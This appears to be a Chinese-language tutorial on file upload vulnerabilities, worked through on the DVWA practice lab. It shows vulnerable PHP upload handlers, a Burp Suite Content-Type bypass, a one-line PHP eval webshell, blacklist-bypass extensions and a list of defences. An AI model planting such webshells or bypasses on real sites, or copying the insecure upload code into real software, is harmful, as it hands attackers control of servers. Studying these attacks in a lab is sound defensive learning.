文件上传漏洞

@TOC

漏洞概述

文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。很多Web站点都有文件上传的接口(比如注册时上传头像等),由于没有对上传的文件夹类型进行严格的限制,导致攻击者可以上传一些恶意文件(比如Webshell)。

DVWA靶场

一、LOW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; //上传文件的路径
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //文件路径=上文文件的路径+文件名
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>

low级别没有任何防护,可直接上传Webshell
二、medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

利用burpsuite抓包
在这里插入图片描述
修改Content-Type为jepg.jpg,然后利用蚁剑链接url上传webshell
编写一句话木马

1
<?php   @eval($_POST['xie']);  ?>

在这里插入图片描述
在这里插入图片描述

如何防御

1、文件上传的目录设置为不可执行
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
2、判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
3、使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
4、单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

相关函数

$_FILES变量专门用于获取上传文件的各种信息。
$_FILES[‘uploaded’][‘namek’],获取客户端文件的原名称;
$_FILES[‘uploaded’][‘tmp_name’]”,获取文件被上传后在服务端存储的临时文件名。
$target_path = DVWA_WEB_PAGE_TO_ROOT.”hackable/uploads/‘’;
指定文件上传路径为“网站根目录/hackable/uploads”
$target_path = $target_path.basename( $_FILES[‘uploaded’][‘name’]);指定上传之后的文件名及保存路径

绕过黑名单

文件上传如何绕过黑名单:使用不常见的文件后缀名,如php3,php4,phtml,asa等